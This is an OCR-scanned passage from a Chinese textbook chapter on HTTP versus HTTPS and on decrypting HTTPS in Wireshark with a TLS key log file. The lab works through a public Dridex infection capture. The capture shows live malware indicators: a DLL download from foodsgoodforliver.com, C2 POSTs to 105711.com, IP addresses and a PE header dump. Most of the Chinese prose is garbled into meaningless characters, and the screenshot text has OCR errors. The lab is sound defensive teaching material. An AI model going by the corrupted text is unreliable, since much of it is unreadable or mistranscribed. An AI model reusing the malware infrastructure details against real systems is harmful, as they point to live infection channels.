2545 BRI 45 22 4 W TP/ MAC Hb ik /) 43 A7 5 22 £i2 . TCP/UDP 3 H 5 DHCP %1 3
W SMTP 1% lid 5k 55 . EHEAT 2% A0 4l A% J 1w, 08 1 19 F2 R4 45 B T Libpeap JE . PF_
RING #: 1 L H i H R Ge i FH 55 2 b

TEBA AR B0 D00 246 0 o 90 4% 2 R D7 I 9% A i O PP S 7 L ARG U BGIE TR
AT 3k 4 3E AT T 2, BRI R A 21 R A I 2% 3% B S 2 (B AR R i . RARIR £ '
TBUE T B AT UG oA 5 40 04 T 0 50 A T 43 A A2 30K A 2 3 8 Al v o i 1 DS 25 2R DA &
TG 15 107 Xt B 44 5 5 T 48 A2 i T DR 1 1) R

W 26 BUUE #0956 P 2 B 0T 5% 2 2 TR Ry 0 2% B0 AT R TR AR R A0 AT L 2 AR Y L TR e X 4 2
BN AE 5 L 45 A BBOUE 15 it A ECIE T 76 75 31 0 B0 H0 465 A e ol it A7 G B A3, DL T il H o
AH G DA Bk 8 3R 7 A ) DR SR 56 3R RN BRI , A v D E R A R

5.3 Wireshark 2% HTTPS it =

5.3.1 WAL . HTTP 5 HTTPS

HTTP Chyper text transfer protocol: #8 SCAAZ &yt i) & —Ff T 20 45 =5 U E 0
MRS B R G R N )2 Ui, 87 AR 0 s & — R A A I HT ML 0TI 07 %,

FAE Web 30 55 25 A1 3% iR 55 2% 2 (0] %38 45 )8 . HTTP 2Rk TAEFE TCP Bp 80 3 11,
Vilal hetp:// I3k BB #R 245 #E HTTP k55 . HTTP Wril DL SCor Xk 3% 945, AN it
FEAA] 7 2 B B A0 %, T S Tk AR T Web 30 W8 2 R I 3k JIR 45 28 =2 [ 9 4% i 2 50 L 3t 7T
DL B e L i 5 B B HT TP BRSO E B 15 5 — Lo U5 B . [FH R V%1
FEXAMER.

HTTPSChypertext transfer protocol secure: #8 LA ¥ & 2P0 & —Fh i L 1HE AL
W £ AT 2 4l A AR P I, HTTPS i HTTP #4738 {5 . (H A SSL/TLS k%
B4, FF & HTTPS i 32 H & B A0 I 56 ik 55 25 19 B 0 TATIE . O/ 47 28 46 £5 40 1 B L
55, HTTPS BN TAETE TCP Phil 443 i 11, B TAER R — B DL 5t

O TCP =& [F#14ETF;

@ & P o o UE AR 55 4 B E S 5

O DH 53k U i % B 2% 5303 1) %5 40 A A RA M B

@ SSL %2 4= Jin %5 Wk 18 P i 52 A 5

© 5T LU0 1 7 XA A P P R R R o 4 SR 1 A 8 BRI L DR B AL s
I 1) A i B I AT B S M DR A R B N B

HTTP 5§ HTTPS 4 X JI7E T .

HTTP B SO fi o BOHm 40 J2 & I 1), % & P48 2% s HTTPS(SSL+ HTTP) %4 1% i
1L AR N Y A AT

i HTTPS Phidl 75 Z 3| CA(Certificate Authority, 20 FiE B INEALA) HIEFIES , —
WA E B, NG E—E 0., LB &M A 45 . Symantec, Comodo, GoDaddy
1 GlobalSign %%,

HTTP GU e 38 B2 L HTTPS H, & KN HTTP i [ TCP =k 48 T 17 % 4%,
R MR 5 A T B A 3 L HTTPS Bk T TCP B9 =4~ . 18 2 in | SSL 8 F 7% 2



206 &3 7 #4REUE T

M9 AN, B DA — 302 12 M,

HTTP #1 HTTPS i #4952 58 4 A R (19 2% 82 07 X, [ TCP PRl 1WA — /i &
& 80, 5 A& 443,

HTTPS HAU &M a4 SSL/TLS Z i HTTP Ppl, irlh, HTTPS t HTTP 25
FE T MR 55 a8 BT

5.3.2 SEBSHM S &M

1&%5%
WAL B AT LA T HTTPS it (47 5, 98 1] Wireshark fi# 7 HTTPS i
R,
2. RWEHG
AR SIZ I8 T T B RO 4 BN 2% 5-3 TR

-

% 5-3 Wireshark f2 % HTTPS FiE2XWEFH
F = 15:4 -3 # = 5 #
1 BCUE T4 3 16 Windows XP LA I
2 Wireshark {4 14 3.4.5

i, Wireshark-tutorial-on-decrypting-
HTTPS-SSL-TLS-traffic. pcap

5.3.3 SeiGaobf

S8 1. fF Wireshark ¥ #T JF “ Wireshark-tutorial-on-decrypting-HT TPS-SSL-TLS-
traffic. pcap” i &=,

LR 2. ffi [ Web k#3138 Web Wit ., 245 http/https Wi : (http. request or tls.
handshake. type eq 1) and! (ssdp), 21l 5-20 fr7~. It pcap & H Windows 10 E#HL F Y
Dridex % B H A, A Web i it (LFF IR YL 3D #2 HTTPS it . WA %8 H &0,
BAER & m&ﬁﬁﬁhuvﬁﬂPﬁm’MPmuﬁﬁg

Ml Wireshark-tutorial-on-d rypu.,H'I'lPSSSLTLSIrul'ﬁcpcap - u] b4
WP RRE NENM G WEO ShA s BEYy S TAD =R

re_ N8 Q::’Z?J;E e emn

Ilﬂalg.ngul or ﬂnm.gl 21) and !(:g} | BEd -+

Ho Tine Source Dextination Protocel Length Infe
| 6@ 17.416984 10.4.1.161 13.167.3.128 TLSv1.2 248 Client Hello |
121 27.938662 10.4.1.181 49.122.160.14 TLSv1.2 236 Client Hello
157 29.446683 10.4.1.101 94.103.84.245 TLSv1.2 248 Client Hello
820 128.832771 18.4.1.101 49.122.1608.14 TLSv1.2 428 Client Hello
1808 273.354367 18.4.1.101 20.191.48.196 TLSv1.2 272 Client Hello
1236 565.816488 18.4.1.181 162.255.119.253 TLSv1.2 216 Client Hello
1328 696.284167 ie.4.1.181 162.255.119.253 TLSv1.2 392 Client Hello
1428 832.344868 ie.4.1.181 162.255.119.253 TLSv1.2 392 Client Hello
< >|
> Frame 60: 248 bytes on wire (1920 bits), 248 bytes captured (_1920 bits)
» Ethernet II, Src: HewlettP_lc:47:se (00:08:82:1c:47:a3e), Dst: Netgear_b6:93:f1 (20:e5:2a:b6:93:F1)
» Internet Protocol Version 4, Src: 18.4.1.101, Dst: 13.187.3.128
> Transmission Control Protocol, Src Port: 49877, Dst Port: 443, Seq: 1, Ack: 1, Len: 186
> Transport Layer Security

# 5-20 HTTPS i &



#5E  WLEBUESK

AR 3 B A R B g R B R PR I T I, T T T AE L AN 5-21

N

w

| M Wireshark - Him

Name Resolution

Protocols
RSA Z=H
Statistics
R

b

o=
R
=i

x|

D it @nak iR |
ST PRI
© BiERAMTHEE

O bk [C:Wsers\nxl WDocuments |
BTRES
[io] s3seEimE
MBI
o Wi AR TR
U grdESEnBnEn
FTREHS: BaEEE v

Findow title | |

Prepend window title [ I

BE: | #ARRRE v

Cmci i [ Ho-l:p

o1
T X AR

5-21

AU AL ARSI X S HE B ZE ), BA i Protocols, 1 £ TLS, 7] LL & 3 A I “ (Pre)-
Master-Secret log filename”, B “W %7 % £, R J5 & £& & 2~ “ Wireshark-tutorial-
KeysLogFile. txt” 9% 8] H & 3¢/, il 5-22 iR,

M Wireshark - BiER

TDS ]
TeamSpeal
TECMP
TELNET
Teredo
TETRA

TFP

TFTP
Thread
Thrift

Tibia

TIME

TIPC
TiVoConne

TNS
Token-Rinc
TPCP

TPKT
TPM2.0
TPNCP

>

Transport Layer Security
RSA keys list | Ediee |
TLS debug file

| [ |
[A Reaszenble TLS records spanning multiple TCP segments
[ Reassenble TLS Application Data spanning multiple TLS recerds
[OMessage Authentication Code (MAC), ignore "mac failed”

Pre-Shared ey | I

(Pre)Master—Secret log filename i

It\wir!t]lark‘htorial—KeysLogFile. txt] | .- |

& 5-22 ek H &S

AU 5. Bl OK ¥4, Wireshark £ 7644 HTTPS 47 F 4 i f# % i) HTTP iR . i
& 5-23 TR,

207

-



208 & 7 ¥R EUIE ST

A hark-tutorial-on-decrypting-HTTPS-S5L-TLS -traffic.peap - o *
MHED SEE WEY ReG WSRO S sehe REy XEw IAD s

Ho. Tine Seurce Destination Frotocol Length Infe fa)
68 17.416984 18.4.1.101 13.107.3.128 TLSvi.2 248 Client Hello
’ 78 25.211326 10.4.1.1081 13.107.3.128 HTTP 701 GET /config/v2/0ffice/word/16.08.12(
‘ | 121 27.938662 1@.4.1.181 48.122.1608.14 TLSv1.2 236 Client Hello
! 131 28.834063 1e8.4.1.181 48.122.168.14 HTTP 206 POST fOneCollector/1.8/ HTTP/1.1
E 142 28.663941 18.4.1.181 48.122.1608.14 HTTP 613 POST /OneCollector/1.8/ HTTP/1.1 [
: 157 29.446603 168.4.1.181 94.103.84.245 TLSv1.2 248 Client Hello
' 165 30.899384 10.4.1.1681 94.103.84.245 HTTP 251 GET /finvest_2@8.d11 HTTP/1.1
820 128.832771 1@.4.1.181 48.122.1608.14 TLSv1.2 428 Client Hello
. 838 128.847855 18.4.1.181 48.122.168.14 HTTP 613 POST /fOneCollector/1.8/ HTTP/1.1 ¥
< 3 %
> Frame 6@: 240 bytes on wire (1928 bits), 248 bytes captured (1920 bits)
> Ethernet II, Src: HewlettP_lc:47:ae (90:08:02:1c:47:ae), Dst: Netgear b6:93:f1 (28:e5:2a:b6:93:f1)
» Internet Protocol Version 4, Src: 10.4.1.181, Dst: 13.187.3.128
» Transmission Control Protocol, 5rc Port: 49877, Dst Port: 443, Seq: 1, Ack: 1, Len: 186
> Transport Layer Security

Kl 5-23 f#E M HTTP ik

L6, ——HEE  FE M peap AT LLE B B A HTTPS & {5 9 % microsoft. com
skype. com () HTTP i§:K . i & B Dridex & &M LLF fii it : D1 foodsgoodforliver.
com ) GET /invest_20. dll #K, 40 & 5-24 Frzx; @) 105711, com A9 POST /docs. php
R Nl 5-25 FiR

| Ml Wireshark - o x
TP REE WEM R WSRO0 SWAe) sHS BEy THEw TAD  REH
_ll“ﬂ ."DI Q@ﬁ"@%ﬁ&u‘_ﬂﬁﬂ.ﬂ

BE -+
| ¥o. Tims Source Destination Protosel Lemgth Infe A
6@ 2020-84-81 21:02:36.714634 18.4.1.181 13.187.3.128 TLSv1.2 248 Client Hello l |
78 2020-84-81 21:02:44.509056 18.4.1.181 13.107.3.128 HTTP 781 GET /config/v2/0ffice/word/1
121 2828-84-81 21:02:47.236392 18.4.1.181 48.122.168.14 TLSvi.2 236 Client Hello |
131 2820-84-81 21:02:47.331793 18.4.1.181 48.122.1608.14 HTTP 286 POST /OneCollector/1.8/ H'ITFI.
142 2020-84-81 21:02:47.961671 18.4.1.181 48.122.168.14 HTTP 613 POST /OneCollector/1.8/ HTTF
157 28208-84-81 21:02:48.744333 18.4.1.181 94.1083.84. 245 TLSv1.2 248 Client Hello
165 2020-84-01 21:02:49.397114 10.4.1.101 94.103.84.245 HTTP 251 GET /invest_2@.d11 HTTP/1.1
820 2020-84-81 21:04:28.13@581 18.4.1.101 48.122.168.14 TL5v1.2 428 Client Hello
B30 2020-84-91 21:04:28.144785 18.4.1.101 48.122.168.14 HTTP 613 POST /OneCollector/1.8/ HITEv
< >
> Frame 165: 251 bytes on wire (2088 bits), 251 bytes captured (2088 bits) L
> Ethernet II, Src: HewlettP _1c:47:ae (88:08:82:1c:47:ae), Dst: Netgear b6:93:f1 (20:e5:2a:b6:93:F1)
» Internet Protocol Version 4, Src: 18.4.1.181, Dst: 94.183.84.245
» Transmission Control Protocel, Src Port: 580874, Dst Port: 443, Seq: 280, Ack: 2348, Len: 197
» Transport Layer Security
w
> 5
Connection: Keep-Alive\r\n |
Accept: */*\r\n
User-Agent: Mozilla/4.@ (compatible; Win32; WinHttp.WinHttpRequest.5)\r\n
[Fost:_foodsgoodforliver comyrin |
r\n
- < fF -
[HTTP request 1/1] o

Bl 5-24  AIEER A 1

AU 7. X foodsgoodforliver. com A GET 353K iR [M T Dridex #J DLL X, X 105711, com
1) POST 3R /&€ H % Dridex &Y Windows FHLAY Ay 2 FEH (C2) 815 .

JE 1% foodsgoodforlive. com B HTTP GET &K # HTTP . & 5-26 7w,

PR 8. M peap R IHCIR BB SRR AR R U — R X R —HTTP”,
eSS D R BB HTTP X4, #iid; save #7241, WA 5-27 iR, BP Al DLL 3OS .

B Al | 7224081 105711, com By POST iR 89 HTTP %, W&l 5-28 iR,



$oE  MLEEUELI

| Wireshark ' =
THO REE NBY MG WO HHE EHO wEY FSW TAD #HE
amce IpREBRs>=FLE= @aan

Ti Source Destination Frotocol Langth Infe ~ .
165 2020-84-81 21:02:49.397114 10.4.1.181 94.1083.84.245 HTTP 251 GET /invest_28.d11 HTTP/1.1 ]
820 2020-84-81 21:04:28.138501 10.4.1.181 48.122.168.14 TLSv1.2 428 Client Hello
830 2020-84-01 21:04:28.144785 18.4.1.101 49.122.168.14 HTTP 613 POST /OneCollector/1.8/ HTTF
1008 2620-84-81 21:06:52.652097 10.4.1.181 20.191.48.196 TLSv1.2 272 Client Hello
1818 2020-84-81 21:06:53.148177 10.4.1.181 208.191.48.19% HTTP 324 GET /settings/v2.8/5torage/S
1236 2020-84-81 21:11:45.114218  10.4.1.101 162.255.119.253 TLSv1.2 216 Client Hello
-L 1244 2020-04-81 21:11:45.248357 10.4.1.101 162.255.119.253 [HTTP | 702 POST /docs.php HTTP/1.1
1328 2020-84-81 21:13:55.581897 10.4.1.181 162.255.119.253 TLSv1.2 392 Client Hello
1336 2020-84-81 21:13:55.600849 10.4.1.181 162.255.119.253 HTTP 782 POST fdocs.php HTTP/1.1 hd
< I »
> Internet Protocol Version 4, Src: 10.4.1.181, Dst: 162.255.119.253 .
» Transmission Control Protocol, Src Port: 58338, Dst Port: 443, Seq: 256, Ack: 2323, Len: 648

> Transport Layer Security
Accept: */*\r\n

User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.8.3945.88 Safari/5:

» Content-Length: 369\r\n
Connection: Close\r\n
Cache-Control: no-cache\r\n

ryn

[HTTP request 1/1]

File Data: 369 bytes

B 5-25 A EER A 2

M Wireshark - i85 HTTP & (tcp.str eq 2) - Wireshark ial-on-decrypting-... - m] X

GET /invest_20.d11 HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Mozilla/4.@ (compatible; Win32; WinHttp.WinHttpRequest.5)
Host: foodsgoodforliver.com

|

HTTP/1.1 288 OK

Server: nginx

Date: Wed, @1 Apr 2820 21:02:49 GMT
Content-Type: application/octet-stream
Content-Length: 463872

Last-Modified: Wed, 81 Apr 2820 16:29:16 GMT
Connection: keep-alive

ETag: "5e84c15c-71400"

Accept-Ranges: bytes

.1..L.!This program cannot be run in DOS mode.

$ennnn . /SQIK220K22wk22W. . Wb22W. . .W. 22w, . .WS22w. i<vy2w. i1 vw2 2w, 1;v{2?
Wbl . wf22wk2>w.22w.16vj22w.i.wj22w. i=vj22wRichk2?

s el S e e P e

#4165, 1 W F8, | BEFF H48, | tun(s). ATER.

mﬁ (464kE) VJ Show data as
B4 [ | E#E—®]
Lemicr || #m0 [ S || 8@ [ close || by |‘:E

K 5-26 iB¥E HTTP i
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B F ERBUE LI

| Ml Wireshark - S - HTTP HEFIE - o x|
XEdEE: | | content Type: [KIL Content-Types v/
oE ENE REEE FKih SR |
111 config.edge.skype.com application/json aske CC?&Clientid=%7bD61AB268-C26A-439(
131 self.events.data.microsoft.com applicationf/bond-compact-binary 4510 bytes 1.0
138 self.events.dsta.microsoftcom applicationfjson 9 bytes 1.0
142  self.events.data.microsoftcom applicationfbond-compact-binary 5364 bytes 1.0
148 self.events.data.microsoft.com applicationfjson 9 bytes 1.0 _
632 iver.com application/octet-stream 463kB invest 20.dIl
830 self.events.data.microsoft.com application/bond-compact-binary 7585 bytes 1.0
837 self.events.data.microsoft.com applicationfjson 9bytes 1.0
1244 105711.com 369 bytes docs.php
1317 105711.com text/html 393 bytes docs.php
1336 105711.com 369 bytes docs.php
1408 105711.com text/html 393 bytes docs.php
1428 105711.com 369 bytes docs.php
« T >
I Save Ii Save ALl H@| Cloze || Help |
Kl 5-27 AR
Ml Wireshark - i85 HTTP 3 (tcp.stream eq 5) - Wireshark-tutorial-on-decrypting-.. ~— O X |
POST /docs.php HTTP/1.1 Lol :
Accept: */* |
User-Agent: Mozilla/5.@ (Windows NT 6.3; Winb4; x64) AppleWebKit/537.36 |
(KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36 | 1
* |Host: 185711.com
| Content-Length: 369
| |connection: Close
| |Cache-Control: no-cache
....... Corvvnuan...qoD.M
..h0.w. -0
= EU...... =176
S [ TR e ] s e IS | e e SR e B SR e eiae
+ 2@ KG...2. =
{-;vUB. Ww...... W § P e, S xZ.}...yz....c. /. bY AN
8..h$.......v..$.0.BTk....k..UL..
§....)...B..g@....HL._.@..5]{.-m..M... 9 ("..x.P.E7.tn......... = = 1
g==u:
5..w}.E..j..8.k...}.=.A7C....@...%.I...X.HTTP/1.1 502 Bad Gateway
Server: mitmproxy 6.8.0.dev
Connection: close
Content-Length: 393 v

.t &AW A, 1 BER H48, 1 tura(s).

(B 7HE (1134 bytes) v Show data as
= | | EET— @]

oemitn | [ s |[ Seae || #E || cese |[ mlp |
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5.3.4 SEUS/hEE

T R I S 2 BB R K R ] HTTPS Py 45 2 7

F) 0 B BP0 P H T TS 4 0 6 P 72 A 0 X T 0 P 0 3 0D Y
KSR GitHub b FFIIY peap B IC# 6] H ECHER TR ZM AR T MMF

Wireshark M peap 8 HTTPS Wik, LT S0 19 H i 807 0% » H ol o 6 & )

JEk peap BHZEHO I 85 1R . BRDIC 3 peap B B FH P ] CVIOVD $ A ] 55 26

A WIS R poap MR BIEE F (T 1S SCPE TG AR 55 % peap i HTTPS il .



